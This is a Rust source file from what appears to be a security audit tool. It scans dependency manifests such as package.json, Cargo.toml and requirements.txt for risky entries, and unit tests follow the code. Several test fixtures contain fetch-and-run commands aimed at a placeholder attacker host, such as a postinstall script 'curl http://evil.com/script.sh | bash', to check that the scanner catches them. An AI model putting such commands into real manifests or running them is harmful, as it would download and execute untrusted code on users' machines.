Skip to main content

cc_audit/scanner/
dependency.rs

1use crate::error::Result;
2use crate::rules::{DynamicRule, Finding};
3use crate::scanner::{ContentScanner, Scanner, ScannerConfig};
4use std::path::Path;
5use walkdir::WalkDir;
6
7const DEPENDENCY_FILES: &[&str] = &[
8    "package.json",
9    "package-lock.json",
10    "Cargo.toml",
11    "Cargo.lock",
12    "requirements.txt",
13    "pyproject.toml",
14    "poetry.lock",
15    "Pipfile",
16    "Pipfile.lock",
17    "Gemfile",
18    "Gemfile.lock",
19    "go.mod",
20    "go.sum",
21    "pom.xml",
22    "build.gradle",
23    "composer.json",
24    "composer.lock",
25];
26
27pub struct DependencyScanner {
28    config: ScannerConfig,
29}
30
31impl DependencyScanner {
32    pub fn new() -> Self {
33        Self {
34            config: ScannerConfig::new(),
35        }
36    }
37
38    pub fn with_skip_comments(mut self, skip: bool) -> Self {
39        self.config = self.config.with_skip_comments(skip);
40        self
41    }
42
43    pub fn with_dynamic_rules(mut self, rules: Vec<DynamicRule>) -> Self {
44        self.config = self.config.with_dynamic_rules(rules);
45        self
46    }
47
48    fn is_dependency_file(path: &Path) -> bool {
49        path.file_name()
50            .and_then(|name| name.to_str())
51            .map(|name| DEPENDENCY_FILES.contains(&name))
52            .unwrap_or(false)
53    }
54}
55
56impl ContentScanner for DependencyScanner {
57    fn config(&self) -> &ScannerConfig {
58        &self.config
59    }
60}
61
62impl Scanner for DependencyScanner {
63    fn scan_file(&self, path: &Path) -> Result<Vec<Finding>> {
64        let content = self.config.read_file(path)?;
65        let path_str = path.display().to_string();
66        Ok(self.config.check_content(&content, &path_str))
67    }
68
69    fn scan_directory(&self, dir: &Path) -> Result<Vec<Finding>> {
70        let mut findings = Vec::new();
71
72        for entry in WalkDir::new(dir)
73            .into_iter()
74            .filter_map(|e| e.ok())
75            .filter(|e| e.path().is_file())
76        {
77            let path = entry.path();
78            if Self::is_dependency_file(path)
79                && let Ok(file_findings) = self.scan_file(path)
80            {
81                findings.extend(file_findings);
82            }
83        }
84
85        Ok(findings)
86    }
87}
88
89impl Default for DependencyScanner {
90    fn default() -> Self {
91        Self::new()
92    }
93}
94
95#[cfg(test)]
96mod tests {
97    use super::*;
98    use std::fs;
99    use tempfile::TempDir;
100
101    fn create_file(dir: &TempDir, name: &str, content: &str) -> std::path::PathBuf {
102        let path = dir.path().join(name);
103        fs::write(&path, content).unwrap();
104        path
105    }
106
107    #[test]
108    fn test_scan_clean_package_json() {
109        let dir = TempDir::new().unwrap();
110        create_file(
111            &dir,
112            "package.json",
113            r#"{
114              "name": "clean-package",
115              "version": "1.0.0",
116              "dependencies": {
117                "express": "^4.18.0"
118              }
119            }"#,
120        );
121
122        let scanner = DependencyScanner::new();
123        let findings = scanner.scan_path(dir.path()).unwrap();
124
125        assert!(
126            findings.is_empty(),
127            "Clean package.json should have no findings"
128        );
129    }
130
131    #[test]
132    fn test_detect_dangerous_postinstall() {
133        let dir = TempDir::new().unwrap();
134        create_file(
135            &dir,
136            "package.json",
137            r#"{
138              "name": "malicious-package",
139              "scripts": {
140                "postinstall": "curl http://evil.com/script.sh | bash"
141              }
142            }"#,
143        );
144
145        let scanner = DependencyScanner::new();
146        let findings = scanner.scan_path(dir.path()).unwrap();
147
148        assert!(
149            findings
150                .iter()
151                .any(|f| f.id == "DEP-001" || f.id == "SC-001"),
152            "Should detect dangerous postinstall script"
153        );
154    }
155
156    #[test]
157    fn test_detect_git_dependency() {
158        let dir = TempDir::new().unwrap();
159        create_file(
160            &dir,
161            "package.json",
162            r#"{
163              "name": "package-with-git-dep",
164              "dependencies": {
165                "my-lib": "git://github.com/user/repo"
166              }
167            }"#,
168        );
169
170        let scanner = DependencyScanner::new();
171        let findings = scanner.scan_path(dir.path()).unwrap();
172
173        assert!(
174            findings.iter().any(|f| f.id == "DEP-002"),
175            "Should detect git:// dependency"
176        );
177    }
178
179    #[test]
180    fn test_detect_wildcard_version() {
181        let dir = TempDir::new().unwrap();
182        create_file(
183            &dir,
184            "package.json",
185            r#"{
186              "name": "package-with-wildcard",
187              "dependencies": {
188                "dangerous-lib": "*"
189              }
190            }"#,
191        );
192
193        let scanner = DependencyScanner::new();
194        let findings = scanner.scan_path(dir.path()).unwrap();
195
196        assert!(
197            findings.iter().any(|f| f.id == "DEP-003"),
198            "Should detect wildcard version"
199        );
200    }
201
202    #[test]
203    fn test_detect_http_dependency() {
204        let dir = TempDir::new().unwrap();
205        create_file(
206            &dir,
207            "package.json",
208            r#"{
209              "name": "package-with-http",
210              "dependencies": {
211                "insecure-lib": "http://example.com/package.tar.gz"
212              }
213            }"#,
214        );
215
216        let scanner = DependencyScanner::new();
217        let findings = scanner.scan_path(dir.path()).unwrap();
218
219        assert!(
220            findings
221                .iter()
222                .any(|f| f.id == "DEP-004" || f.id == "DEP-005"),
223            "Should detect HTTP/tarball dependency"
224        );
225    }
226
227    #[test]
228    fn test_scan_cargo_toml() {
229        let dir = TempDir::new().unwrap();
230        create_file(
231            &dir,
232            "Cargo.toml",
233            r#"
234[package]
235name = "risky-crate"
236version = "0.1.0"
237
238[dependencies]
239some-lib = { git = "https://github.com/user/repo" }
240"#,
241        );
242
243        let scanner = DependencyScanner::new();
244        let findings = scanner.scan_path(dir.path()).unwrap();
245
246        assert!(
247            findings.iter().any(|f| f.id == "DEP-002"),
248            "Should detect git dependency in Cargo.toml"
249        );
250    }
251
252    #[test]
253    fn test_scan_requirements_txt() {
254        let dir = TempDir::new().unwrap();
255        create_file(
256            &dir,
257            "requirements.txt",
258            "git+https://github.com/user/repo.git\nrequests==2.28.0\n",
259        );
260
261        let scanner = DependencyScanner::new();
262        let findings = scanner.scan_path(dir.path()).unwrap();
263
264        assert!(
265            findings.iter().any(|f| f.id == "DEP-002"),
266            "Should detect git+ dependency in requirements.txt"
267        );
268    }
269
270    #[test]
271    fn test_ignore_non_dependency_files() {
272        let dir = TempDir::new().unwrap();
273        create_file(&dir, "README.md", "curl http://evil.com | bash");
274        create_file(&dir, "config.json", r#"{"url": "http://evil.com"}"#);
275
276        let scanner = DependencyScanner::new();
277        let findings = scanner.scan_path(dir.path()).unwrap();
278
279        assert!(findings.is_empty(), "Should not scan non-dependency files");
280    }
281
282    #[test]
283    fn test_scan_nested_dependency_files() {
284        let dir = TempDir::new().unwrap();
285        let sub_dir = dir.path().join("subproject");
286        fs::create_dir(&sub_dir).unwrap();
287        fs::write(
288            sub_dir.join("package.json"),
289            r#"{"dependencies": {"evil": "*"}}"#,
290        )
291        .unwrap();
292
293        let scanner = DependencyScanner::new();
294        let findings = scanner.scan_path(dir.path()).unwrap();
295
296        assert!(
297            findings.iter().any(|f| f.id == "DEP-003"),
298            "Should scan nested dependency files"
299        );
300    }
301
302    #[test]
303    fn test_scan_single_file() {
304        let dir = TempDir::new().unwrap();
305        let file_path = create_file(
306            &dir,
307            "package.json",
308            r#"{"dependencies": {"lib": "latest"}}"#,
309        );
310
311        let scanner = DependencyScanner::new();
312        let findings = scanner.scan_file(&file_path).unwrap();
313
314        assert!(
315            findings.iter().any(|f| f.id == "DEP-003"),
316            "Should detect 'latest' version"
317        );
318    }
319
320    #[test]
321    fn test_is_dependency_file() {
322        assert!(DependencyScanner::is_dependency_file(Path::new(
323            "package.json"
324        )));
325        assert!(DependencyScanner::is_dependency_file(Path::new(
326            "Cargo.toml"
327        )));
328        assert!(DependencyScanner::is_dependency_file(Path::new(
329            "requirements.txt"
330        )));
331        assert!(DependencyScanner::is_dependency_file(Path::new(
332            "pyproject.toml"
333        )));
334        assert!(DependencyScanner::is_dependency_file(Path::new("Gemfile")));
335        assert!(DependencyScanner::is_dependency_file(Path::new("go.mod")));
336        assert!(DependencyScanner::is_dependency_file(Path::new("pom.xml")));
337        assert!(DependencyScanner::is_dependency_file(Path::new(
338            "composer.json"
339        )));
340
341        assert!(!DependencyScanner::is_dependency_file(Path::new(
342            "README.md"
343        )));
344        assert!(!DependencyScanner::is_dependency_file(Path::new(
345            "config.json"
346        )));
347        assert!(!DependencyScanner::is_dependency_file(Path::new("main.rs")));
348    }
349
350    #[test]
351    fn test_default_trait() {
352        let scanner = DependencyScanner::default();
353        let dir = TempDir::new().unwrap();
354        let findings = scanner.scan_path(dir.path()).unwrap();
355        assert!(findings.is_empty());
356    }
357
358    #[test]
359    fn test_scan_content_directly() {
360        let scanner = DependencyScanner::new();
361        let content = r#"{"scripts": {"postinstall": "curl http://evil.com | bash"}}"#;
362        let findings = scanner.scan_content(content, "package.json").unwrap();
363        assert!(!findings.is_empty());
364    }
365
366    #[test]
367    fn test_scan_nonexistent_path() {
368        let scanner = DependencyScanner::new();
369        let result = scanner.scan_path(Path::new("/nonexistent/path"));
370        assert!(result.is_err());
371    }
372
373    #[test]
374    fn test_with_skip_comments() {
375        let scanner = DependencyScanner::new().with_skip_comments(true);
376        let dir = TempDir::new().unwrap();
377        create_file(
378            &dir,
379            "requirements.txt",
380            "# git+https://github.com/user/repo\nrequests==2.28.0",
381        );
382
383        let findings = scanner.scan_path(dir.path()).unwrap();
384        // The git+ line is a comment, so should be skipped
385        assert!(
386            !findings.iter().any(|f| f.id == "DEP-002"),
387            "Should skip commented lines when skip_comments is true"
388        );
389    }
390
391    #[test]
392    fn test_multiple_dependency_files() {
393        let dir = TempDir::new().unwrap();
394        create_file(&dir, "package.json", r#"{"dependencies": {"a": "*"}}"#);
395        create_file(
396            &dir,
397            "Cargo.toml",
398            r#"[dependencies]\nb = { version = "*" }"#,
399        );
400
401        let scanner = DependencyScanner::new();
402        let findings = scanner.scan_path(dir.path()).unwrap();
403
404        assert!(findings.len() >= 2, "Should find issues in both files");
405    }
406}